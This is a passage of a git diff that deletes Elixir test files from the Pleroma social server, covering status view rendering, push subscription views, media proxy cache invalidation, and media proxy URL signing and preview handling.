AccountView.render("show.json", %{user: user, skip_visibility_check: true}), - in_reply_to_id: nil, - in_reply_to_account_id: nil, - card: nil, - reblog: nil, - content: HTML.filter_tags(object_data["content"]), - text: nil, - created_at: created_at, - reblogs_count: 0, - replies_count: 0, - favourites_count: 0, - reblogged: false, - bookmarked: false, - favourited: false, - muted: false, - pinned: false, - sensitive: false, - poll: nil, - spoiler_text: HTML.filter_tags(object_data["summary"]), - visibility: "public", - media_attachments: [], - mentions: [], - tags: [ - %{ - name: "#{object_data["tag"]}", - url: "/tag/#{object_data["tag"]}" - } - ], - application: %{ - name: "Web", - website: nil - }, - language: nil, - emojis: [ - %{ - shortcode: "2hu", - url: "corndog.png", - static_url: "corndog.png", - visible_in_picker: false - } - ], - pleroma: %{ - local: true, - conversation_id: convo_id, - in_reply_to_account_acct: nil, - content: %{"text/plain" => HTML.strip_tags(object_data["content"])}, - spoiler_text: %{"text/plain" => HTML.strip_tags(object_data["summary"])}, - expires_at: nil, - direct_conversation_id: nil, - thread_muted: false, - emoji_reactions: [], - parent_visible: false - } - } - - assert status == expected - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "tells if the message is muted for some reason" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _user_relationships} = User.mute(user, other_user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "test"}) - - relationships_opt = UserRelationship.view_relationships_option(user, [other_user]) - - opts = %{activity: activity} - status = StatusView.render("show.json", opts) - assert status.muted == false - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - - status = StatusView.render("show.json", Map.put(opts, :relationships, relationships_opt)) - assert status.muted == false - - for_opts = %{activity: activity, for: user} - status = StatusView.render("show.json", for_opts) - assert status.muted == true - - status = StatusView.render("show.json", Map.put(for_opts, :relationships, relationships_opt)) - assert status.muted == true - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "tells if the message is thread muted" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _user_relationships} = User.mute(user, other_user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "test"}) - status = StatusView.render("show.json", %{activity: activity, for: user}) - - assert status.pleroma.thread_muted == false - - {:ok, activity} = CommonAPI.add_mute(user, activity) - - status = StatusView.render("show.json", %{activity: activity, for: user}) - - assert status.pleroma.thread_muted == true - end - - test "tells if the status is bookmarked" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Cute girls doing cute things"}) - status = StatusView.render("show.json", %{activity: activity}) - - assert status.bookmarked == false - - status = StatusView.render("show.json", %{activity: activity, for: user}) - - assert status.bookmarked == false - - {:ok, _bookmark} = Bookmark.create(user.id, activity.id) - - activity = Activity.get_by_id_with_object(activity.id) - - status = StatusView.render("show.json", %{activity: activity, for: user}) - - assert status.bookmarked == true - end - - test "a reply" do - note = insert(:note_activity) - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "he", in_reply_to_status_id: note.id}) - - status = StatusView.render("show.json", %{activity: activity}) - - assert status.in_reply_to_id == to_string(note.id) - - [status] = StatusView.render("index.json", %{activities: [activity], as: :activity}) - - assert status.in_reply_to_id == to_string(note.id) - end - - test "contains mentions" do - user = insert(:user) - mentioned = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hi @#{mentioned.nickname}"}) - - status = StatusView.render("show.json", %{activity: activity}) - - assert status.mentions == - Enum.map([mentioned], fn u -> AccountView.render("mention.json", %{user: u}) end) - - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "create mentions from the 'to' field" do - %User{ap_id: recipient_ap_id} = insert(:user) - cc = insert_pair(:user) |> Enum.map(& &1.ap_id) - - object = - insert(:note, %{ - data: %{ - "to" => [recipient_ap_id], - "cc" => cc - } - }) - - activity = - insert(:note_activity, %{ - note: object, - recipients: [recipient_ap_id | cc] - }) - - assert length(activity.recipients) == 3 - - %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) - - assert length(mentions) == 1 - assert mention.url == recipient_ap_id - end - - test "create mentions from the 'tag' field" do - recipient = insert(:user) - cc = insert_pair(:user) |> Enum.map(& &1.ap_id) - - object = - insert(:note, %{ - data: %{ - "cc" => cc, - "tag" => [ - %{ - "href" => recipient.ap_id, - "name" => recipient.nickname, - "type" => "Mention" - }, - %{ - "href" => "https://example.com/search?tag=test", - "name" => "#test", - "type" => "Hashtag" - } - ] - } - }) - - activity = - insert(:note_activity, %{ - note: object, - recipients: [recipient.ap_id | cc] - }) - - assert length(activity.recipients) == 3 - - %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) - - assert length(mentions) == 1 - assert mention.url == recipient.ap_id - end - - test "attachments" do - object = %{ - "type" => "Image", - "url" => [ - %{ - "mediaType" => "image/png", - "href" => "someurl" - } - ], - "uuid" => 6 - } - - expected = %{ - id: "1638338801", - type: "image", - url: "someurl", - remote_url: "someurl", - preview_url: "someurl", - text_url: "someurl", - description: nil, - pleroma: %{mime_type: "image/png"} - } - - api_spec = Pleroma.Web.ApiSpec.spec() - - assert expected == StatusView.render("attachment.json", %{attachment: object}) - assert_schema(expected, "Attachment", api_spec) - - # If theres a "id", use that instead of the generated one - object = Map.put(object, "id", 2) - result = StatusView.render("attachment.json", %{attachment: object}) - - assert %{id: "2"} = result - assert_schema(result, "Attachment", api_spec) - end - - test "put the url advertised in the Activity in to the url attribute" do - id = "https://wedistribute.org/wp-json/pterotype/v1/object/85810" - [activity] = Activity.search(nil, id) - - status = StatusView.render("show.json", %{activity: activity}) - - assert status.uri == id - assert status.url == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" - end - - test "a reblog" do - user = insert(:user) - activity = insert(:note_activity) - - {:ok, reblog} = CommonAPI.repeat(activity.id, user) - - represented = StatusView.render("show.json", %{for: user, activity: reblog}) - - assert represented[:id] == to_string(reblog.id) - assert represented[:reblog][:id] == to_string(activity.id) - assert represented[:emojis] == [] - assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "a peertube video" do - user = insert(:user) - - {:ok, object} = - Pleroma.Object.Fetcher.fetch_object_from_id( - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - ) - - %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) - - represented = StatusView.render("show.json", %{for: user, activity: activity}) - - assert represented[:id] == to_string(activity.id) - assert length(represented[:media_attachments]) == 1 - assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "funkwhale audio" do - user = insert(:user) - - {:ok, object} = - Pleroma.Object.Fetcher.fetch_object_from_id( - "https://channels.tests.funkwhale.audio/federation/music/uploads/42342395-0208-4fee-a38d-259a6dae0871" - ) - - %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) - - represented = StatusView.render("show.json", %{for: user, activity: activity}) - - assert represented[:id] == to_string(activity.id) - assert length(represented[:media_attachments]) == 1 - end - - test "a Mobilizon event" do - user = insert(:user) - - {:ok, object} = - Pleroma.Object.Fetcher.fetch_object_from_id( - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - ) - - %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) - - represented = StatusView.render("show.json", %{for: user, activity: activity}) - - assert represented[:id] == to_string(activity.id) - - assert represented[:url] == - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - - assert represented[:content] == - "<p><a href=\"https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39\">Mobilizon Launching Party</a></p><p>Mobilizon is now federated! 🎉</p><p></p><p>You can view this event from other instances if they are subscribed to mobilizon.org, and soon directly from Mastodon and Pleroma. It is possible that you may see some comments from other instances, including Mastodon ones, just below.</p><p></p><p>With a Mobilizon account on an instance, you may <strong>participate</strong> at events from other instances and <strong>add comments</strong> on events.</p><p></p><p>Of course, it's still <u>a work in progress</u>: if reports made from an instance on events and comments can be federated, you can't block people right now, and moderators actions are rather limited, but this <strong>will definitely get fixed over time</strong> until first stable version next year.</p><p></p><p>Anyway, if you want to come up with some feedback, head over to our forum or - if you feel you have technical skills and are familiar with it - on our Gitlab repository.</p><p></p><p>Also, to people that want to set Mobilizon themselves even though we really don't advise to do that for now, we have a little documentation but it's quite the early days and you'll probably need some help. No worries, you can chat with us on our Forum or though our Matrix channel.</p><p></p><p>Check our website for more informations and follow us on Twitter or Mastodon.</p>" - end - - describe "build_tags/1" do - test "it returns a a dictionary tags" do - object_tags = [ - "fediverse", - "mastodon", - "nextcloud", - %{ - "href" => "https://kawen.space/users/lain", - "name" => "@lain@kawen.space", - "type" => "Mention" - } - ] - - assert StatusView.build_tags(object_tags) == [ - %{name: "fediverse", url: "/tag/fediverse"}, - %{name: "mastodon", url: "/tag/mastodon"}, - %{name: "nextcloud", url: "/tag/nextcloud"} - ] - end - end - - describe "rich media cards" do - test "a rich media card without a site name renders correctly" do - page_url = "http://example.com" - - card = %{ - url: page_url, - image: page_url <> "/example.jpg", - title: "Example website" - } - - %{provider_name: "example.com"} = - StatusView.render("card.json", %{page_url: page_url, rich_media: card}) - end - - test "a rich media card without a site name or image renders correctly" do - page_url = "http://example.com" - - card = %{ - url: page_url, - title: "Example website" - } - - %{provider_name: "example.com"} = - StatusView.render("card.json", %{page_url: page_url, rich_media: card}) - end - - test "a rich media card without an image renders correctly" do - page_url = "http://example.com" - - card = %{ - url: page_url, - site_name: "Example site name", - title: "Example website" - } - - %{provider_name: "example.com"} = - StatusView.render("card.json", %{page_url: page_url, rich_media: card}) - end - - test "a rich media card with all relevant data renders correctly" do - page_url = "http://example.com" - - card = %{ - url: page_url, - site_name: "Example site name", - title: "Example website", - image: page_url <> "/example.jpg", - description: "Example description" - } - - %{provider_name: "example.com"} = - StatusView.render("card.json", %{page_url: page_url, rich_media: card}) - end - end - - test "does not embed a relationship in the account" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "drink more water" - }) - - result = StatusView.render("show.json", %{activity: activity, for: other_user}) - - assert result[:account][:pleroma][:relationship] == %{} - assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "does not embed a relationship in the account in reposts" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "˙˙ɐʎns" - }) - - {:ok, activity} = CommonAPI.repeat(activity.id, other_user) - - result = StatusView.render("show.json", %{activity: activity, for: user}) - - assert result[:account][:pleroma][:relationship] == %{} - assert result[:reblog][:account][:pleroma][:relationship] == %{} - assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "visibility/list" do - user = insert(:user) - - {:ok, list} = Pleroma.List.create("foo", user) - - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) - - status = StatusView.render("show.json", activity: activity) - - assert status.visibility == "list" - end - - test "has a field for parent visibility" do - user = insert(:user) - poster = insert(:user) - - {:ok, invisible} = CommonAPI.post(poster, %{status: "hey", visibility: "private"}) - - {:ok, visible} = - CommonAPI.post(poster, %{status: "hey", visibility: "private", in_reply_to_id: invisible.id}) - - status = StatusView.render("show.json", activity: visible, for: user) - refute status.pleroma.parent_visible - - status = StatusView.render("show.json", activity: visible, for: poster) - assert status.pleroma.parent_visible - end -end diff --git a/test/web/mastodon_api/views/subscription_view_test.exs b/test/web/mastodon_api/views/subscription_view_test.exs deleted file mode 100644 index 981524c0e..000000000 --- a/test/web/mastodon_api/views/subscription_view_test.exs +++ /dev/null @@ -1,23 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.SubscriptionViewTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.MastodonAPI.SubscriptionView, as: View - alias Pleroma.Web.Push - - test "Represent a subscription" do - subscription = insert(:push_subscription, data: %{"alerts" => %{"mention" => true}}) - - expected = %{ - alerts: %{"mention" => true}, - endpoint: subscription.endpoint, - id: to_string(subscription.id), - server_key: Keyword.get(Push.vapid_config(), :public_key) - } - - assert expected == View.render("show.json", %{subscription: subscription}) - end -end diff --git a/test/web/media_proxy/invalidation_test.exs b/test/web/media_proxy/invalidation_test.exs deleted file mode 100644 index aa1435ac0..000000000 --- a/test/web/media_proxy/invalidation_test.exs +++ /dev/null @@ -1,68 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.InvalidationTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - - alias Pleroma.Config - alias Pleroma.Web.MediaProxy.Invalidation - - import ExUnit.CaptureLog - import Mock - import Tesla.Mock - - setup do: clear_config([:media_proxy]) - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - describe "Invalidation.Http" do - test "perform request to clear cache" do - Config.put([:media_proxy, :enabled], false) - Config.put([:media_proxy, :invalidation, :enabled], true) - Config.put([:media_proxy, :invalidation, :provider], Invalidation.Http) - - Config.put([Invalidation.Http], method: :purge, headers: [{"x-refresh", 1}]) - image_url = "http://example.com/media/example.jpg" - Pleroma.Web.MediaProxy.put_in_banned_urls(image_url) - - mock(fn - %{ - method: :purge, - url: "http://example.com/media/example.jpg", - headers: [{"x-refresh", 1}] - } -> - %Tesla.Env{status: 200} - end) - - assert capture_log(fn -> - assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) - assert Invalidation.purge([image_url]) == {:ok, [image_url]} - assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) - end) =~ "Running cache purge: [\"#{image_url}\"]" - end - end - - describe "Invalidation.Script" do - test "run script to clear cache" do - Config.put([:media_proxy, :enabled], false) - Config.put([:media_proxy, :invalidation, :enabled], true) - Config.put([:media_proxy, :invalidation, :provider], Invalidation.Script) - Config.put([Invalidation.Script], script_path: "purge-nginx") - - image_url = "http://example.com/media/example.jpg" - Pleroma.Web.MediaProxy.put_in_banned_urls(image_url) - - with_mocks [{System, [], [cmd: fn _, _ -> {"ok", 0} end]}] do - assert capture_log(fn -> - assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) - assert Invalidation.purge([image_url]) == {:ok, [image_url]} - assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) - end) =~ "Running cache purge: [\"#{image_url}\"]" - end - end - end -end diff --git a/test/web/media_proxy/invalidations/http_test.exs b/test/web/media_proxy/invalidations/http_test.exs deleted file mode 100644 index 13d081325..000000000 --- a/test/web/media_proxy/invalidations/http_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.Invalidation.HttpTest do - use ExUnit.Case - alias Pleroma.Web.MediaProxy.Invalidation - - import ExUnit.CaptureLog - import Tesla.Mock - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - test "logs hasn't error message when request is valid" do - mock(fn - %{method: :purge, url: "http://example.com/media/example.jpg"} -> - %Tesla.Env{status: 200} - end) - - refute capture_log(fn -> - assert Invalidation.Http.purge( - ["http://example.com/media/example.jpg"], - [] - ) == {:ok, ["http://example.com/media/example.jpg"]} - end) =~ "Error while cache purge" - end - - test "it write error message in logs when request invalid" do - mock(fn - %{method: :purge, url: "http://example.com/media/example1.jpg"} -> - %Tesla.Env{status: 404} - end) - - assert capture_log(fn -> - assert Invalidation.Http.purge( - ["http://example.com/media/example1.jpg"], - [] - ) == {:ok, ["http://example.com/media/example1.jpg"]} - end) =~ "Error while cache purge: url - http://example.com/media/example1.jpg" - end -end diff --git a/test/web/media_proxy/invalidations/script_test.exs b/test/web/media_proxy/invalidations/script_test.exs deleted file mode 100644 index 692cbb2df..000000000 --- a/test/web/media_proxy/invalidations/script_test.exs +++ /dev/null @@ -1,30 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.Invalidation.ScriptTest do - use ExUnit.Case - alias Pleroma.Web.MediaProxy.Invalidation - - import ExUnit.CaptureLog - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - test "it logger error when script not found" do - assert capture_log(fn -> - assert Invalidation.Script.purge( - ["http://example.com/media/example.jpg"], - script_path: "./example" - ) == {:error, "%ErlangError{original: :enoent}"} - end) =~ "Error while cache purge: %ErlangError{original: :enoent}" - - capture_log(fn -> - assert Invalidation.Script.purge( - ["http://example.com/media/example.jpg"], - [] - ) == {:error, "\"not found script path\""} - end) - end -end diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs deleted file mode 100644 index e9b584822..000000000 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ /dev/null @@ -1,342 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do - use Pleroma.Web.ConnCase - - import Mock - - alias Pleroma.Web.MediaProxy - alias Plug.Conn - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - describe "Media Proxy" do - setup do - clear_config([:media_proxy, :enabled], true) - clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") - - [url: MediaProxy.encode_url("https://google.fn/test.png")] - end - - test "it returns 404 when disabled", %{conn: conn} do - clear_config([:media_proxy, :enabled], false) - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/hhgfh/eeeee") - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/hhgfh/eeee/fff") - end - - test "it returns 403 for invalid signature", %{conn: conn, url: url} do - Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") - %{path: path} = URI.parse(url) - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, path) - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, "/proxy/hhgfh/eeee") - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, "/proxy/hhgfh/eeee/fff") - end - - test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do - invalid_url = String.replace(url, "test.png", "test-file.png") - response = get(conn, invalid_url) - assert response.status == 302 - assert redirected_to(response) == url - end - - test "it performs ReverseProxy.call with valid signature", %{conn: conn, url: url} do - with_mock Pleroma.ReverseProxy, - call: fn _conn, _url, _opts -> %Conn{status: :success} end do - assert %Conn{status: :success} = get(conn, url) - end - end - - test "it returns 404 when url is in banned_urls cache", %{conn: conn, url: url} do - MediaProxy.put_in_banned_urls("https://google.fn/test.png") - - with_mock Pleroma.ReverseProxy, - call: fn _conn, _url, _opts -> %Conn{status: :success} end do - assert %Conn{status: 404, resp_body: "Not Found"} = get(conn, url) - end - end - end - - describe "Media Preview Proxy" do - def assert_dependencies_installed do - missing_dependencies = Pleroma.Helpers.MediaHelper.missing_dependencies() - - assert missing_dependencies == [], - "Error: missing dependencies (please refer to `docs/installation`): #{ - inspect(missing_dependencies) - }" - end - - setup do - clear_config([:media_proxy, :enabled], true) - clear_config([:media_preview_proxy, :enabled], true) - clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") - - original_url = "https://google.fn/test.png" - - [ - url: MediaProxy.encode_preview_url(original_url), - media_proxy_url: MediaProxy.encode_url(original_url) - ] - end - - test "returns 404 when media proxy is disabled", %{conn: conn} do - clear_config([:media_proxy, :enabled], false) - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/preview/hhgfh/eeeee") - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/preview/hhgfh/fff") - end - - test "returns 404 when disabled", %{conn: conn} do - clear_config([:media_preview_proxy, :enabled], false) - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/preview/hhgfh/eeeee") - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/preview/hhgfh/fff") - end - - test "it returns 403 for invalid signature", %{conn: conn, url: url} do - Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") - %{path: path} = URI.parse(url) - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, path) - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, "/proxy/preview/hhgfh/eeee") - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, "/proxy/preview/hhgfh/eeee/fff") - end - - test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do - invalid_url = String.replace(url, "test.png", "test-file.png") - response = get(conn, invalid_url) - assert response.status == 302 - assert redirected_to(response) == url - end - - test "responds with 424 Failed Dependency if HEAD request to media proxy fails", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 500, body: ""} - end) - - response = get(conn, url) - assert response.status == 424 - assert response.resp_body == "Can't fetch HTTP headers (HTTP 500)." - end - - test "redirects to media proxy URI on unsupported content type", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "application/pdf"}]} - end) - - response = get(conn, url) - assert response.status == 302 - assert redirected_to(response) == media_proxy_url - end - - test "with `static=true` and GIF image preview requested, responds with JPEG image", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - assert_dependencies_installed() - - # Setting a high :min_content_length to ensure this scenario is not affected by its logic - clear_config([:media_preview_proxy, :min_content_length], 1_000_000_000) - - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{ - status: 200, - body: "", - headers: [{"content-type", "image/gif"}, {"content-length", "1001718"}] - } - - %{method: :get, url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.gif")} - end) - - response = get(conn, url <> "?static=true") - - assert response.status == 200 - assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] - assert response.resp_body != "" - end - - test "with GIF image preview requested and no `static` param, redirects to media proxy URI", - %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/gif"}]} - end) - - response = get(conn, url) - - assert response.status == 302 - assert redirected_to(response) == media_proxy_url - end - - test "with `static` param and non-GIF image preview requested, " <> - "redirects to media preview proxy URI without `static` param", - %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} - end) - - response = get(conn, url <> "?static=true") - - assert response.status == 302 - assert redirected_to(response) == url - end - - test "with :min_content_length setting not matched by Content-Length header, " <> - "redirects to media proxy URI", - %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - clear_config([:media_preview_proxy, :min_content_length], 100_000) - - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{ - status: 200, - body: "", - headers: [{"content-type", "image/gif"}, {"content-length", "5000"}] - } - end) - - response = get(conn, url) - - assert response.status == 302 - assert redirected_to(response) == media_proxy_url - end - - test "thumbnails PNG images into PNG", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - assert_dependencies_installed() - - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/png"}]} - - %{method: :get, url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.png")} - end) - - response = get(conn, url) - - assert response.status == 200 - assert Conn.get_resp_header(response, "content-type") == ["image/png"] - assert response.resp_body != "" - end - - test "thumbnails JPEG images into JPEG", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - assert_dependencies_installed() - - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} - - %{method: :get, url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.jpg")} - end) - - response = get(conn, url) - - assert response.status == 200 - assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] - assert response.resp_body != "" - end - - test "redirects to media proxy URI in case of thumbnailing error", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} - - %{method: :get, url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "<html><body>error</body></html>"} - end) - - response = get(conn, url) - - assert response.status == 302 - assert redirected_to(response) == media_proxy_url - end - end -end diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs deleted file mode 100644 index 0e6df826c..000000000 --- a/test/web/media_proxy/media_proxy_test.exs +++ /dev/null @@ -1,234 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxyTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - - alias Pleroma.Config - alias Pleroma.Web.Endpoint - alias Pleroma.Web.MediaProxy - - defp decode_result(encoded) do - [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - {:ok, decoded} = MediaProxy.decode_url(sig, base64) - decoded - end - - describe "when enabled" do - setup do: clear_config([:media_proxy, :enabled], true) - - test "ignores invalid url" do - assert MediaProxy.url(nil) == nil - assert MediaProxy.url("") == nil - end - - test "ignores relative url" do - assert MediaProxy.url("/local") == "/local" - assert MediaProxy.url("/") == "/" - end - - test "ignores local url" do - local_url = Endpoint.url() <> "/hello" - local_root = Endpoint.url() - assert MediaProxy.url(local_url) == local_url - assert MediaProxy.url(local_root) == local_root - end - - test "encodes and decodes URL" do - url = "https://pleroma.soykaf.com/static/logo.png" - encoded = MediaProxy.url(url) - - assert String.starts_with?( - encoded, - Config.get([:media_proxy, :base_url], Pleroma.Web.base_url()) - ) - - assert String.ends_with?(encoded, "/logo.png") - - assert decode_result(encoded) == url - end - - test "encodes and decodes URL without a path" do - url = "https://pleroma.soykaf.com" - encoded = MediaProxy.url(url) - assert decode_result(encoded) == url - end - - test "encodes and decodes URL without an extension" do - url = "https://pleroma.soykaf.com/path/" - encoded = MediaProxy.url(url) - assert String.ends_with?(encoded, "/path") - assert decode_result(encoded) == url - end - - test "encodes and decodes URL and ignores query params for the path" do - url = "https://pleroma.soykaf.com/static/logo.png?93939393939&bunny=true" - encoded = MediaProxy.url(url) - assert String.ends_with?(encoded, "/logo.png") - assert decode_result(encoded) == url - end - - test "validates signature" do - encoded = MediaProxy.url("https://pleroma.social") - - clear_config( - [Endpoint, :secret_key_base], - "00000000000000000000000000000000000000000000000" - ) - - [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} - end - - def test_verify_request_path_and_url(request_path, url, expected_result) do - assert MediaProxy.verify_request_path_and_url(request_path, url) == expected_result - - assert MediaProxy.verify_request_path_and_url( - %Plug.Conn{ - params: %{"filename" => Path.basename(request_path)}, - request_path: request_path - }, - url - ) == expected_result - end - - test "if first arg of `verify_request_path_and_url/2` is a Plug.Conn without \"filename\" " <> - "parameter, `verify_request_path_and_url/2` returns :ok " do - assert MediaProxy.verify_request_path_and_url( - %Plug.Conn{params: %{}, request_path: "/some/path"}, - "https://instance.com/file.jpg" - ) == :ok - - assert MediaProxy.verify_request_path_and_url( - %Plug.Conn{params: %{}, request_path: "/path/to/file.jpg"}, - "https://instance.com/file.jpg" - ) == :ok - end - - test "`verify_request_path_and_url/2` preserves the encoded or decoded path" do - test_verify_request_path_and_url( - "/Hello world.jpg", - "http://pleroma.social/Hello world.jpg", - :ok - ) - - test_verify_request_path_and_url( - "/Hello%20world.jpg", - "http://pleroma.social/Hello%20world.jpg", - :ok - ) - - test_verify_request_path_and_url( - "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - :ok - ) - - test_verify_request_path_and_url( - # Note: `conn.request_path` returns encoded url - "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg", - "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg", - :ok - ) - - test_verify_request_path_and_url( - "/my%2Flong%2Furl%2F2019%2F07%2FS", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} - ) - end - - test "uses the configured base_url" do - base_url = "https://cache.pleroma.social" - clear_config([:media_proxy, :base_url], base_url) - - url = "https://pleroma.soykaf.com/static/logo.png" - encoded = MediaProxy.url(url) - - assert String.starts_with?(encoded, base_url) - end - - # Some sites expect ASCII encoded characters in the URL to be preserved even if - # unnecessary. - # Issues: https://git.pleroma.social/pleroma/pleroma/issues/580 - # https://git.pleroma.social/pleroma/pleroma/issues/1055 